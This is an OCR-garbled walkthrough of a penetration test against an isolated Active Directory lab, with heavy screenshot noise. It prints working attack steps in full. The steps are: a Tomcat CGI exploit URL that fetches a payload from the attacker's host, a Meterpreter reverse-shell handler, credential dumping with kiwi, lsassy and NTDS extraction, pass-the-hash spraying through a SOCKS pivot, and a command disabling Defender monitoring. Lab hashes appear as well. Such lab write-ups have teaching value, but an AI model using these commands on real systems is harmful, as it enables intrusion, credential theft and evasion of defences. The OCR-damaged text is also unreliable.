Sws2019 /home/pentest/Shecodject/output
B windows 10x64

/home/pentest/Shecodject/output

/home/pentest/Shecodject/output

/home/pentest/shecodject/output

/home/pentest/Shecodject/output
/home/pentest/Shecodject/output

/home/pentest/Shecodject/output

Shecodject/output

/home/pentest/Shecodject/output

Restoring state,

To return to your computer, move the mouse pointer outside or press Ctrl-Alt

To push the file on the windows machine, we will in fact download the file from the kali linux
executing remotely the command

curl.exe -0 "C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-
INF\CGI\test.exe" http://192.168.106.131:8000/test.exe

to do exploit the apache tomcat remote code execution vulnerability and run the command by
browsing to the url

http://192.168.106.128:8080/cgi/test.bat?&c%3 A%S5Cwindows%5Csystem32%5Ccurl.exe+-

0+%22C%3A%5CProgram+Files%5CApache+Software+Foundation%5CTomcat+9.0%5Cwebapp

$%5CROOT%5CWEB-
INF%5CCGI1%5Ctest.exe%22+http%3 A%2F%2F192.168.106.131%3 A8000%2Ftest.exe&dir
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Map9 14:45
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Creating our first Meterpreter Session

now we can initiate our listener on Kali Linux

—(root € adlabkali)-[/home/pentest/Shecodject/output]

L—# msfconsole -q -x 'use exploit/multi/handler; set ExitOnSession false; set PAYLOAD windows/meterpreter/reverse_winhttps; set
LHOST 192.168.106.131; set LPORT 9898; set HandlerSSLCert /home/pentest/Shecodject/my.pem; set StagerVerifySSLCert true;
set SessionCommunicationTimeout 600; run -j

and execute remotely the payload by browsing to :
http://192.168.106.128:8080/cgi/test.bat?&%22C%3 A%SCProgram+Files%S5CApache+Software+Foundation%5CTomcat+9.0%5C
webapps%SCROOT%SCWEB-INF%S5CCGI%S5 Ctest.exe%22 &dir
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So we now a session established back to our Kali Linux and we can see that our process is executed
as Local system.

First we set this session as interactive, by typing sessions [ and we get some basic information, by
executing sysinfo.

We are connected to ADLAB-IIS server , which is a member server of ADLAB domain running
windows server 2019 (as seen by the build number) and we run on a 32 bit session of the
Meterpreter .

We have already system privileges (as Tomcat is running on local system account and reveals getuid
command)

and the server is connected with the machine 10.20.30.254 (as we can see from arp command)
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For now we will proceed with a new session creation, migrate to 64bit and load incognito to check
for the existing tokens and impersonate a domain user to proceed with the internal recon status.

So we load incognito , list the tokens by running list _tokens -u and impersonate ADLAB\iisadmin
user

now it is easy to get the password hashes for the specific server, and information about running
processes , so we load kiwi and run creds_all

Activities (3 VMware Workstation v Map 12 12:28
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We see that we can get the NTLM hash for the logged in domain user iisadmin@ADLAB.local
from the cached credentials of the machine. We could now easily get the domain users password via
hashcat or john the ripper but this is not needed as we will see. We can also get the local
administrator password hash via hashdump command
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Map 20 18:39
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Internal Recon Phase

We use the Sharp hound tool for recon and execute the collector to feed the Bloodhound tool.
To do so, we needed to upload the sharphound.exe file as the PowerShell version was detected by

defender.
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< ——— root@adiabkali: /nome/pentest/donut *  root@adlabkali: /nome/pentest *  root@adlabkali: /home/pentest/impacket/examples * root@adiabkali: fhome/pentest * root@adlabkali: ~/.cme/logs *
{0 ADLab-DC
@ ADLabWs 10
i AdLabws10b
{5 ADLabWs10Adminws
~ BB INTERNET
(@ AdLab_Externalw10

# AdLab-Kalix64
~ @omz
@ ADLab-1Is
~ @ Templates
@ws2019
@ windows 10x64

O EpPON

Id Name Type nforma Connection

BeaAaBEN

o return to your computer, move the mouse pointer outside or press Ctrl-Al

As the tool needs to be executed on the domain context, we did create a new session and used the
incognito module, which allows us to impersonate the ADLAB\iisadmin user
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Map 20 19

AdLab-Kalix64 - VMware Workstation

File Edit View VM Tabs

Library [
Q v
~ My computer

~ @AdLab
@ ADLab-Firewall

~ Binternal Network
@ ADLab-DC
@ ADLabWs 10
@ AdLabws10b
@ ADLabws 10Adminws

~ BINTERNET
& AdLab_Externalw10

oMz
@ ADLabAIS
~ @ Templates
iws2019
B windows 10x64

O PPO BN

To return to your computer, move the mouse pointer outside or press Ctri-Alt

Help W&

8 OB |l 2 &

@ AdLab-Kalixes @ @

BloodHound ome/... g

root@sdisbiali ome/pentest/donat

File Actions Edit View Help

root@adlabkali: fhome/pentest/donut *  root@adlabkali: /Jhome/pentest *  root@adlabkali: home/pentest/impacket/examples *  root@adlabkali: home/pentest x  root@adlabkali: ~/.cme/logs *

Tomcat 9.0\web

Tomcat 9.0\webapp

upon completing this we download the result file and delete any file we uploaded/created on

c:\windows\temp

Activities (3 Vmware v

File Edit

Library °

- 5 ;

~ CIMy computer
~ BAdLab
& ADLab-Firewall
~ Binternal Network
{8 ADLab-DC
5 ADLabws10
B AdLabws10b
{0 ADLabWs10Adminws
~ B INTERNET
@ AdLab_Externalw10
~ @omz
5 ADLab-1IS
~ @ Templates
@ws2019
@ windows 10x64

View VM Tabs Help

To return to your computer, move the mouse pointer outside or press Ctrl-Alt.

Map 20 19:25

AdLab-Kalix64 - VMware Workstation

¢ L8 b L=

0 @A o @ nws @ @

@adlabkali: /home}.

o & [

01:25PM O

@ AdLab-Kalixesa @ @ ADL C
CIET EETIED

File Actions Edit View Help

BloodHound ® Mozilla Firefox @ Thunar

root@sdlabkal: home/pentest/donut

root@adlabkali: /home/pentest/donut *  root@adlabkali: /home/pentest x  root@adlabkali: /home/pentest/impacket/examples X  root@adlabkali: home/pentest x root@adlabkali: ~/.cme/logs X
rm SharpHound. dHound.zip
101!

nd. exe 2021032010 .2ip 20210 4_BloodHound. zip

_BloodHound
10320101534_81oodHound

rm SharpHound. exe
rm SharpHound. exe 20210
m SharpHound. exe 20210
rm SharpHound. exe 20210
e 202103201015
320101534_

QyZTAYNjkzN2FK. bin

adnin.

Type Last modified Name

7 -0500 MpCmdRun. 1o
- T5_1992. tap
1

1656

AODQYZi0ONTh1 LTg2NGULOWQyZTAYN KZN2FK .bin
AB-TIS$

oL

EM. Log
< YSTEM. Log
-0 ntoolsd-iisadmin. log
-0500 Vo

-0500 vmware-v

To proceed we did start the neo4j database and started the bloodhound application. After importing
the zip file, we get the domain objects enumerated.
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File Edit View VM Tabs Help

Library o
Q -
~ My Computer

~ @AdLab

@ ADLab-Firewall
~ @ internal Network
@ ADLab-DC
@ ADLabWs 10
@ AdLabws10b
8 ADLabWs 10AdminWs
BINTERNET
@ AdLab_Externalw10
MZ
& ADLab-IS
~ @ Templates
iws2019
B windows 10x64

G\ EONGN N NON e

File Edit View VM Tabs Help

E Library
Q -
~ LMy computer
~ @AdLab

@ ADLab-Firewall

~ @internal Network
é @ ADLab-DC
B AoLabws 10
F2m @ AdLabws10b
\;ﬁ 5 ADLabws 10Adminws
~ BYINTERNET

@ AdLab_Externalw10

(B T

MZ
-} @ ADLabAIS
&y ~ @ Templates

Hiws2019
i windows 10x64

8 LB K

@ AdLab-Kalixes @ @

To return to your computer, move the mouse pointer outside or press Ctrl-Alt

= ADLABLOCAL

Node Info

ADLAB.LOCAL

To return to your computer, move the mouse pointer outside or press Ctrl-Alt

Map 20 19:21

AdLab-Kalix64 - VMware Workstation

BloodHound

Upload Progress

4 20210320101534_groups.json
20210320101534_users.json

20210320101534 gpos.json

—

Map 12 13:5!

AdLab-Kalix64 - VMware Workstation

BloodHound

ADLABLOCAL

we can see the enumerated objects , and domain sid .
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File Edit View VM Tabs Help M

Library
Q

+ CIMy Computer
~ @AdLab
8 ADLab-Firewall
~ B internal Network

@ ApLab-DC
i ADLabws10
@ AdLabws10b
0 ADLabWs 10AdminWws

INTERNET
@ AdLab_Externalw10

BloodHound

GUEST@ADLAB.LOCAL
IISADMIN@ADLAB.LOCAL
KRI LAB.LOC;
@ ADLabIS
~ @Templates
Hiws2019

Windows 10x64
& windows 10x¢ 8.LOCAL

File Edit View VM Tabs Help W

Library
Q

+ My Computer
~ BAdLab
8 ADLab-Firewall

~ @internal Network
@ ADLab-DC Node Info
@ ADLabws 10
@ adLabws10b
8 ADLabWs 10AdminWws

~ @INTERNET
& AdLab_Externalw10

BloodHound

DLAB.LOCAL

@ ADLabIS
~ @Templates
Bws2019
windows 10x64

N ADMINS@ADLAB.LOCAL

ADMINISTRATOR@ADLAB

MATCH p=(n:Group)<-{:MemberOf* ) WHERE n.objectid =~ *(21)S RETURN p

To return to your computer, move the mouse pointer outside or press Ctrl-Alt BoAACEM

Same for Domain Controllers
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Map 12 14:26

AdLab-Kalix64 - VMware Workstation

t
File Edit View VM Tabs Help W 8 o L. )
E Library © @ Adubkalixes @ B o & o @ o @ o @ o @ o & o
~ My Computer
~ @AdLab
& ApLab-Firewall = DOMAINCONTROLLERS@ADLABLOCAL A K
~ Binternal Network
é @ AbLab-DC Node info

@ ADLabWs 10

o | @ AdLabws10b
¢ 8 ADLabWs 10AdminWs

~ BDINTERNET

&1 AdLab_Externalw10

c
2

i @ k kb O

~ @omz
& ADLab-IS
~ @ Templates
iws2019
B windows 10x64

& K

() =
TROLLERS@ADLAB.LOCAL ADLAB-DC ADLAB.LOCAL

221-516)) RETURN p

To return to your computer, move the mouse pointer outside or press Ctrl-Alt BoAACED

and find possible attack paths

File Edit View VM Tabs Help ¢ oo b I ) 15

Library ©  @®adubkalixes @ @
a = || h——
+ My computer
~ @adLab
B ApLab-Firewall = DOMAINCONTROLLERSGADLABLOCAL A K ¥
~ B internal Network P
@ ADLab-DC 10 DEFAULT DOMAIN CONTROLLERS
@ ADLabws10
@ AdLabws10b
@ ADLabws 10AdminWws
~ B INTERNET
@ AdLab_Externalw10
~ @omz
@ ApLabAIs
~ @ Templates ACCOUNT OPE 0 AD ! " @ADIAB) g ADMINISTRAT
Bws2019
Biwindows 10x64

ENTERPRISE DOMAIN CONTROWERS@ADLAB.LOCAL RIQADLAB LOCAL

PPONC

(] r]

ENTERPRIS!

ADLABUSERX@ADLAB LOCAL DOMAIN ADMINS@ADLAB.LOCAL

To return to your computer, move the mouse pointer outside or press CtrkAlt BO&AABEN

As this is a really simple domain , we do not get that much of insight. Also our token of the account
used for the domain enumeration, is a local administrator to the compromised computer, but a
member of the domain users, so probably does not have the access rights to provide us will all the
information needed for active sessions or the rights for remote desktop connection on machines,
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File Edit View VM Tabs Help W s

Uibrary O @adubkalxes @ @ o & o & o & o & o & o & °
TT - .

~ My Computer
~ BAdLab
B ADLab-Firewall
~ B internal Network
B ADLab-DC Node Info
@ ADLabws10
@ AdLabws10b
@ ADLabWs 10AdminWws.
~ BBINTERNET
@ AdLab_Externalw10
~ @omz
@ ADLab-IS
~ @ Templates
Bws2019
windows 10x64

iisadmin

IISADMIN@ADLAB.LOCAL

To return to your computer, move the mouse pointer outside or press Ctrl-Alt BOAABED

We did mark both ADLAB-IIS and IISADMIN objects as owned

Now we need to identify the ip addresses of the objects found. We get a shell and run ipconfig and
then nslookup on the already identified Domain controller object (ADLAB-DC)

Activities (3 VMware Workstation v Map 21 13:36

‘* AdLab-Kalix64 - VMware Workstation
File Edit View VM Tabs Help b @ @

Library

Q Type heret = --ﬁ'—‘l:' ® domainipac @ Thunar
~ CJMy Computer
~ @AdLab
@ ADLab-Firewall
« @internal Network root@adlabkali: /home/pentest * root@adlabkali: /home/pentest/Desktop/ps_scripts *  pentest@adlabkali: ~ *
5 ADLab-DC x
8 ADLabws 10
B AdLabws10b
£ ADLabWs10AdminWws
~ B INTERNET
(@ AdLab_Externalw10
~ @omz
@ ADLab-1IS
~ @ Templates
@ws2019
@ windows 10x64

root@sdiabkal: home/pentest

File Actions Edit View Help

ROOT\WEB-INF\CGI>ipconfig

Foundation\Toncat 9. S\ROOT\WEB-INF\CGI>

ps\ROOT\WEB-INF\CGI>1]

To return to your computer, move the mouse pointer outside or press Ctrl-AlL.

So we have identified two subnets of interest 10.20.30.0/24 and 10.20.20.0/24

a&aH8E0

Post Exploitation - Lateral Movement
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Pivoting, Adding routes and a socks proxy

We proceed with adding routes to the two identified subnets and a socks 4a proxy , to allow us
access the subnets outside Meterpreter ,

Map

AdLab-Kalix64 - VMware Workstation

File Edit View VM Tabs Help e coe [0 o8

Library ©  @adubkalixes @ @ o @ o @& o @ o @& o @& o @ o

t
o
-
+ My computer
@ ~ @AdLab
8 ADLab-Firewall
~ @ internal Network root@adlabkali: /home/pentest/impacket/examples *
é @ ApLab-DC
i ADLabws10
o | @ AdLabws10b
‘A 8 ADLabws 10Adminws
~ B INTERNET
2
H

@ AdLab_Externalw10
~ @omz
@ ApLabAIs
~ @ Templates
iws2019
Siwindows 10x64

To return to your computer, move the mouse pointer outside or press Ctrl-Alt

Passing the Hash

also we can check if the credentials we already have can be reused, by trying the smb login .
We shall use the crackmapexec application to pass the hash of the iisadmin domain user we got and

our socks proxy, thru the proxychains4 application.

ets ip to be used for the identified computers

afcne_powershell_soripis

First we resolve the targ

at this point we use the secretsdump.py script from impacket to search for hashes on 10.20.20.52 .
To do so we will use the proxychains application execute
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@ AdLab_Externalw10

B windows 10x64

14:38

Map 21

AdLab-Kalix64 - VMware Workstation

AdLab-Kalix64 /Jusr/-/dist-packages/cne/data/cme_powershell_scripts
~ @omz
B ADLabIS Juse/-/dist-packages/cme/data/cme_powershell _scripts
~ @ Templates
iws2019

fusr/_/dist-packages/cme/data/cme_powershell_scripts

fusr/_/dist-packages/cme/data/cne_powershell_scripts

/usr/_/dist-packages/cme/data/cme_powershell_scripts

To return to your computer, move the mouse pointer outside or press Ctr-Alt

then we spray the identity/hash to the rest of the identified objects

l_—(root €2 adlabkali)-[/usr/. . ./dist-packages/cme/data/cme_powershell_scripts]
# proxychains4 crackmapexec smb 10.20.20.10 10.20.20.50 10.20.20.51 10.20.20.52 -u iisadmin -H
f106b91ac4d11589¢ef1b316835a8f0c5

Activities (8 VMware Workstation v

Map 21 14:42

AdLab-Kalix64 - VMware Workstation

File Edit View VM Tabs Help W S 8 B I ) &
Library O . @adabkalixes @ @ o @ o @ o & o & o @ o @ o
Q - = =
] ® Mozilla Firef @ Thunar
- Q:vtompvw Nb/python3/dist-paciagesicmeldataicame. powershell_scripts
- @A
alLaky File Actions Edit View Help
@ ADLab-Firewall
+ Binternal Network root@adlabkali: fhome/pentest x  root@adlabkali: /usr/lib/python3/dist-packages/cme/datajcme_powershell_scripts *  pentest@adlabkali: ~ *
@ ADLab-DC
@ aoLabws1o Jusr/-/dist-packages/cme/data/cne_powershell_scripts
@ AdLabws10b
0 ADLabWs 10AdminWws
~ BBINTERNET Jusr/-/dist-packages/cme/data/cme_powershell_scripts

oo
o
@

File Edit View VM Tabs Help ¢ G @ & |K & (&
Library ° & AdLab-Kalix6a ] o & o & © @ adbwsir @ @ o & © Bad o »
Q Typeheretose Ml D m  Thunar
~ OMy computer fabkal: fuseflblpython3/dist-packages/cmeldatalcme_pawershell scripts
~ BAdLab

) File Actions Edit View Help
@ ADLab-Firewall

~ B internal Network

@ ADLab-DC

5 ADLabWs10

B AdLabWs10b

{0 ADLabWs 10AdminWs
~ B INTERNET

root@adlabkali: /nome/pentest x root@adlabkali: usr/lib/python3/dist-packages/cme]datajcme_powershell_scripts * pentest@adlabkali: ~

_scripts
1 10. iisadmin -1 f106b91ackd11589ef1b31
ains] config f

ychains] preloading

chains] DLL init: p

t

u/1ibproxychains.so.4

10.20.20.10
chain

.50:445 [proxychains] strict chain

:445 [proxycha
1

] strict chain
2.168.10 1080 .. 10

B ADLab-IIS

~ @ Templates
@ws2019
@ windows 10x64

ychains] Strict chain 445 [proxychais -106.131:1080 .20.20.50:445 [proxychains] Strict chain
131:1080 ... 10

oK

SO0 EPONR G

hains] St 192.168.

oK

t chain

192.168.106.131:1080 10.20.20.10:445 ... OK
ADLAB-DC ndows 10.0 Build 17763 x64 (na (domain:adlab.1
92 9.

192.168.1 080 ... 10 ] strict chain ... 192 strict chain

oK
6b91ac4d11589ef1b316835a8f0cS

4 . 0K

10 [+ 1 min £106b91acd11589ef1b316835a8F0cS

92.168.106.131:1080 0.20.52:445 ... O

ADLABWS108 [+] adlab.local\iisadmin f106b91ac4d11589ef1b316835a8F0cS (Punac

(] /usr/./dist-packages/cne/data/cme_powershell_scripts

_[oh V=16 )

To return to your computer, move the mouse pointer outside or press Ctrl-Alt.

and we notice that the same credentials do provide administrative access to the computer
10.20.20.52 so we will use the same technique and try to dump the SAM passwords from this
computer

l_—(root € adlabkali)-[/ust/.../dist-packages/cme/data/cme_powershell_scripts]
# proxychains4 crackmapexec smb 10.20.20.52 -u iisadmin -H f106b91ac4d11589¢ef1b316835a8f0c5 —sam
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Activities (3 VMware Workstation v Map 21 14:47

AdLab-Kalix64 - VMware Workstation

File

Edit

view VM Tabs

Library © « @adabrolxss © @ ADLEOC @ @ AC 0 @aoubwso @ @A % © @ ADLabwWs10a O @Avubis © @ Aduab Extemawio © b
a S Akt QL

~ CIMy Computer

Help

(abkali: fusrlib/... *g Thunar

root@adlabkal:fusr/lib/python3/dist-packagesfcme/datalcme_powershell_scripts

~ @AdLab
File Actions Edit View Hel
5 ADLab-Firewall ek S ek
~ Binternal Network root@adlabkali: /home/pentest x  root@adlabkali: fusr/lib/python3/dist-packages/cme/datajcme_powershell_scripts x root@adlabkali: /home/pentest *

5 ADLab-DC
8 ADLabWs10 oAy
0 AdLabws10b [proxychains] Strict chain K
@ ADLabWs 10AdminWs ains] S t chain 445 [proxychains] Strict chain 192.168.106.131:1080 ... .20.20.51:445 [proxychains] Strict chain

~ B INTERNET
(@ AdLab_Externalw10

~ @omz

@ ADLab-1IS

[proxychains] Strict chain .168.106.131:1080 ... 10.20.20.10:445
10.20.20.10 ADLAB-DC name:ADLAB
[umw(h‘lm'] Stri a 19 6! .131:108! - 10.20.20.50:445 [pxn(‘r(’u)vu] Strict chain
31:1080 10 -52:445 ychain 192.168.106.131:1080 ... 10.2

~ @ Templates
Bwsz019 ADLABWS10ADMIN windows 0.0 Build 19041 XG4 (name:ADLADKS16ADMIN) (domain:adlablocal) (signing:False) (SHBv1
@ windows 10x64 20.2 ADLABWS10 Windows 10.0 Build 19041 (name :ADLABWS10) (domain:adlab.local) (signing:False) (SMBv1:Fals

ADLABWS108 Windows 10.0 Build 19041 x64 (name:ADLABWS10B) (domain .‘auu local) (signing:False) (SMBv1:False)
c R
92.168. 10 1 £20.20.50: 445
AOLABUSIOADNIN.  [+] .umu ;local\iisadain Hmvlwl;n-unl 89e£1b31683528F0cS
1080 0.20.51:445
[+] ainany \ut\l iisadain nm,mm..nns 9e1b31683528F0c:
[proxychains] Strict cha : 20
10.20.20.52 [+] adlab. {ocai\iisadain F106b91acHd115896F1031683538F0c5 (P

(] /usr/ /dxst G e e
a 5091 ac4d11589¢ F16316835a8¢0cS

{proxychains] config file found: /etc/proxychainsé.conf
[proxychains] preloading /usr/Lib/x86_64-linux-gnu/libproxychains.so.4
fproxychains] DLL ini

[proxychains] S
{proxychains] Strict
chains] Strict chain
chain
0.52 \unﬂm-r» m o
chain 192. 131:1080 ... 10.20.20.52
AoLABNS108 [+] adlab. focat nuumu fiogbo1ackd11589eF 163168353
ADLABWS10B [+] Dumping SAM h
ADLABWS108.

1 47
ADLABWS108 A 3 5 1d6cfe0d1620931b7
ADLABWS108 a b 2 11bakcb6993d
ADLABWS108 .

ADLABWS108

To return to your computer, move the mouse pointer outside or press Ctrl-AL.

now we shall try to pass the hash of the local administrator for this computer to the rest of the
workstations to check if we are lucky

l_—(root €2 adlabkali)-[/usr/. . ./dist-packages/cme/data/cme_powershell_scripts]
# proxychains4 crackmapexec smb 10.20.20.10 10.20.20.50 10.20.20.51 10.20.20.52 -u administrator -H
aad3b435b51404eeaad3b435b51404ee:1263d84e38c7fdb86a8blefabac)78c9 --local-auth

Activities B vMware Workstation v Map 21 14:52

AdLab-Kalix64 - VMware Workstation
File Edit View VM Tabs Help

Library
Q
~ CIMy computer
~ @AdLab
& ADLab-Firewall
+ Binternal Network root@adlabkali: /home/pentest x root@adlabkali: fusr/lib/python3/dist-packages/cme/datajcme_powershell_scripts * root@adlabkali: /home/pentest *
8 ADLab-DC
@ ADLabws10
(@ AdLabws10b
£ ADLabWs10Adminws fuse//dist- pukiges/cme/dﬂa/cmn pouershe\\ scr)nts
~ B INTERNET crackmapexec 10.20.20.10 10.20.20.50 10 10.20.20.52 administrator -+ aad3b435bS1404eeaad3b435b51404ee: 1263d84e38c7fdbs6asblefal
AdLab_Externalw10 [proxychains] e e e
[proxychains] preloading /usr/Lib/xec.64-Linux-gnu/ibprocychains
@ AdLab-Kalix64 [proxychains] DLL init: proxychains-ng
~ Bomz xychains] n 10.366.105,131:1080 ... 10.20.20,10:45 [proxychains] Strict chain .. 192,168.106.131:1080 .. 10.20.20.50:4s5 [proxychains] Strict
Bisuane 168.106.131:1080 [proxychains] Strict chain . .106.131:1080 ... 10.20.20.52:445 ... 0.51:445 ... OK
~ B Templates

@ws2019 chain ¥ .131:1080 . .20, 1445 [proxychains] Stri 192.168.106.131:1080 ... .20.20.50: Strict chain
@ windows 10x64 168.106.131 10 proxychains] S 192.168.106.131: 1 b 1:4 0

root@adlabkali: fusr/ib/... “g Thunar
root@adlabkal:usr/lb/python3/dist-packages/cme/datalcme._powershell_scripts

File Actions Edit View Help

/usr/./dist-packages/cme/data/cme_powershell_scripts

192.168.106.131:1080 . 0.20.20.10:135 [proxychains] Strict chain 192.168.106.131:1080 ... 10.20.20.52:135 [proxychains] Strict chain
35 [proxychains] Strict .. 192.168.106.131:1080 ... 10.20 1:135 oK

06.131:1080 ... 10.20.20.10:445 ... OK
06.131:1080 . 0.20.52:445 19 oxye trict chain 2.168.106.131:1080 ... 10.20. 45 Ip strict chain
45 [proxychains] strict chain 192.16 TS 10.20. .ok

ADLAB-DC Windows 10.0 Build 17763 (name:ADLAB-DC) (domain:ADLAB-DC) (signing:True) (SMBv1:False)
ADLAB-DC ADLAB-DC\adninistrator:aad3b435b51404eeaad3bs3sh51404 84387 fdb86asblefabac978c9 STATUS_LOGON_FAILURE
192.168.106.131:1080 ... 10.20.20.52:445 [proxychains] Strict chain 192.168.106.131:1080 ... 10.20.20.50:445 .. OK

ADLABWS108 Windows 10.0 Build 19041 ADLABWS10B) (domain:ADLABWS10B) (signing:False) (SMBv1:Fals
ADLABWS10ADMIN Windows 10.0 Build 19041 ADLABWS10ADMIN) (domain:ADLABWS10ADMIN) (signing:False) (SMBV:

oK
£+1 ‘ADLADNS108\adaintatrator asd3b43sbs1404eeandbuashs140uee: 1263d84e36c7 dbasasblefabacs7aco (Pw
10.20.20.51 Windows 10.0 Build 19041 x64 (name:ADLABWS10) (domain:ADLABWS10) (signing:False) (SMBv1:Fal
[proxychains] Str. / 45 oK
10. o dninistrator aad3bi3sb51404eeaadib3sb51404ee: 1263d84e38c7FdbBGABb1eFabacy
[proxychains] )tnn chain ... 106.131:1, 0.20. 0K
0.20.51 0 £+1 ADLAENS10Nadministrator aad3be3sbs140deeand3bi3shs :1263d84e38¢7fdbB6asblefabaco78c9 (Pun3d!)

° /usr/-/dist-packages/cme/data/cme_powershell_scripts

To return to your computer, move the mouse pointer outside or press Ctrl-Alt.

and as we do see the local administrators’ credentials are the same on all three workstations. Based
on the recon phase done with bloodhound, on ADLABWS10ADMIN workstation , domain
Administrator AdlabUserX is logged on

We shall use the data stored in Isass process to get the hash for the adlabws10admin user
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l_—(root €2 adlabkali)-[/usr/.../dist-packages/cme/data/cme_powershell_scripts]
# proxychains4 crackmapexec smb 10.20.20.50 -u Administrator -H
'aad3b435b51404ecaad3b435b51404ee:1263d84e38c7fdb86a8blefabac978c9' --local-auth -M lsassy

Activities VMware Work ap 21 17:18

AdLab-Kalix64 - VMware Workstation

File Edit View VM Tabs Help
Library

@ Thunar

~ CIMy Computer
~ BAdLab

(@ ADLab-Firewall
+ B internal Network root@adlabkali: /home/pentest x  root@adlabkali: /usr/lib/python3/dist-packages/cme/datajcme_powershell_scripts * root@adlabkali: /home/pentest *

root@adlablali /python3/dist-packages/cme/datalcme_powershell_scripts

File Actions Edit View Help

0 ADLab-DC
@ ADLabws 10
B AdLabWs10b
i ADLabWs 10AdminWs
~ B INTERNET
(@ AdLab_Externalw10 . y
- )
~ @omz 3 ns il
@ ADLab-1IS
~ B Templates
@ws2019
@windows 10x64

/ust/../dist-packages/cme/data/cme_powershell_scripts

/ust//dist-packages/cme/data/cme_powershell_scripts

IN) (signing:False) ( fa

38c7fdbs6asblefabaco78co (Pu

MIN) (domain:ADLABWS10/ ning:False) (SMBv1:False)

biefab co (Pun3d!)

/Just//dist-packages/cme/data/cme_powershell_scripts

BoAABED

o return to your computer, move the mouse pointer outside or press Ctrl-Alt

As we can see on the second trial we get the hash value
LSASSY  10.20.20.50 445 ADLABWSI0ADMIN ADLAB\adlabuserx dd80ab66a0797bc3dedab783e2f6bdc0

Domain Controller Data exfiltration - Data Consolidation and
Exfiltration

We shall use the domain administrator hash we got, to authenticate against the domain controller

and get the NTLM hash of the password for the kerberos ticket granting account (krbtgt)

—(root @ adlabkali)-[/ust/. . ./dist-packages/cme/data/cme_powershell_scripts]
L—# proxychains4 crackmapexec smb 10.20.20.10 -u adlabuserx -H 'dd80ab66a0797bc3dcdab783¢2f6bdc0' -d ADLAB.local --ntds
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Activities

DeDEPONGC

o return to your computer, move the mouse pointer outside or press Ctrl-Alt.

File Edit View VM Tabs Help e o6 [iic &
Library © @ adabKalixes @ @ ab-DC @
Q Typeh -

~ CIMy Computer

~ @AdLab

¥ p— File Actions Edit View Help
ab-Firewal

~ @ internal Network
£ ADLab-DC g file fo
i ADLabWs 10
@ AdLabws10b
{5 ADLabWs10AdminWws
~ BDINTERNET
& AdLab_Externalw10
~ @omz
8 ADLab-1Is
~ @ Templates
@ws2019
@ windows 10x64

t@adlabkali: Jhome/pentest x  root@adlabks

DC
ADLAB-DC
ADLAB-DC
ADLAB-DC

Map 21 17:26

AdLab-Kalix64 - VMware Workstation

© @ ADLabwsio @ @ AdLabw

Tiblpythor

Jusr/lib/python3/dist-packages/cme/datajcme_powershell_scripts *

root@adlabkali: /nome/pentest

BoAABEH

and we get the hashes for all the domain objects, but we care for the one of the KRBTGT object

krbtgt:502:aad3b435b51404ceaad3b435b51404ee:af12d1518£8187ba8eccalbaSbeee0a:::

Golden Ticket

At this time, we need to get a meterpreter shell to the dc, so I used smbclient from impacket to push
the payload file generated before on the domain controller

Ly

10.20.20.10 -target-ip 10.20.20.10

[proxychains] config file found: /etc/proxychains4.conf

(root €2 adlabkali)-[/ust/.../dist-packages/cme/data/cme_powershell_scripts]
proxychains4 smbclient.py ADLAB.local/adlabuserx@10.20.20.10 -hashes :dd80ab66a0797bc3dcdab783e2f6bdc0 -dc-ip

[proxychains] preloading /ust/lib/x86 64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14

Impacket v0.9.23.dev1+20210315.121412.a16198c3 - Copyright 2020 SecureAuth Corporation

[proxychains] Strict chain ...

Type help for list of commands
# use c$

#cd
#cd

Windows
Temp

# lcd /home/pentest/Desktop/ps_scripts
/home/pentest/Desktop/ps_scripts

# put test.exe

# exit
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192.168.106.131:1080 ...

10.20.20.10:445 ... OK
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Map 21 19:01

AdLab-Kalix64 - VMware Workstation

File Edit View VM Tabs Help @ ¢ oo B L. ) 1S

Library ° @ AdLab-Kalixes @ @ o @ o @ o & o & o & o @ o

® GitHub- S
~ My Computer
~ @AdLab
@ ADLab-Firewall
+ Binternal Network root@adlabkali: fhome/pentest *  root@adlabkali: fusr/lib/python3/dist-packages/cme/datajcme_powershell_scripts *  root@adlabkali: fhome/pentest/Desktop/ps_scripts *
@ ADLab-DC
@ ADLabWs 10

=
©)
=)
@ @ AdLabws10b
G
&
(!

root@adiabial

File Actions Edit View Help

/fusr/-/dist-packages/cme/data/cne_powershell_scripts

@ ADLabws 10Adminws
~ BINTERNET
& AdLab_Externalw10

/ust/-/dist-packages/cne/data/cme_powershell_scripts

/usr/_/dist-packages/cme/data/cme_powershell_scripts

~ @omz
@ ADLabAIS
~ @ Templates
iws2019
B windows 10x64

/usr/_/dist-packages/cme/data/cme_powershell_scripts

fusr/_/dist-packages/cme/data/cme_powershell_scripts

/ust/-/dist-packages/cne/data/cme_powershell_scripts
/ust/-/dist-packages/cme/data/cne_powershell_scripts
/Jusr/-/dist-packages/cme/data/cne_powershell_scripts
fust/_/dist-packages/cme/data/cme_powershell_scripts

fusr/_/d ackages/cme/data/c _scripts
y 1 T

Jusr/-/dist-packages/cne/data/cne_powershell_scripts

To return to your computer, move the mouse pointer outside or press Ctr-Alt

and I executed the file using again crackmapexec

—(root & adlabkali)-[/ust/. . ./dist-packages/cme/data/cme_powershell_scripts]
L—# proxychains4 crackmapexec smb 10.20.20.10 -u adlabuserx -H 'dd80ab66a0797bc3dcdab783e2f6bdc0' -d ADLAB. local -x
"c:\\windows\\temp\\test.exe" 130 x

Map 21 19:14

AdLab-Kalix64 - VMware Workstation

File Edit View VM Tabs Help W s O @ @ N = ) 1S

Library ° i Adabkalixes @ @ o @ o @ o & o @ o @ o @ o

~ Cmy Computer root@adiablal usriblpythond/dist-paciage:

~ @AdLsb File Actions Edit View Help
@ ADLab-Firewall
+ Binternal Network root@adlabkali: fome/pentest *  root@adlabkali: jusr/lib/python3/dist-packages/cme/datajcme_powershell_scripts *  root@adlabkali: Jnome/pentest/Desktop/ps_scripts *
@ ADLab-DC
B ADLabws 10

/usr/./dist-packages/cme/data/cme_powershell_scripts
@ AdLabws10b
5 ADLabWs 10AdminWs.

~ BDINTERNET
@ AdLab_Externalw10

oMz

@ ADLabAIS

~ @ Templates
Hiws2019
&iwindows 10x64

@

To return to your computer, move the mouse pointer outside or press Ctrl-Alt SHa

At this point I had to disable the behavior analysis of the Ms Defender, so I used PowerShell , thru a
shell to execute Set-MpPreference -DisableVehaviorMonitoring $true
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File Edit View VM Tabs Help S G o @& L - )
Library ©  @®adabralixes @ @ o @ o @ o & o @& o @& o @& o
Q ‘ dlabkali: fhome}
~ LMy computer oot @aduabiais home/pentes
~ @AdLab
@ ADLab-Firewall

-
é ~ @ internal Network
A

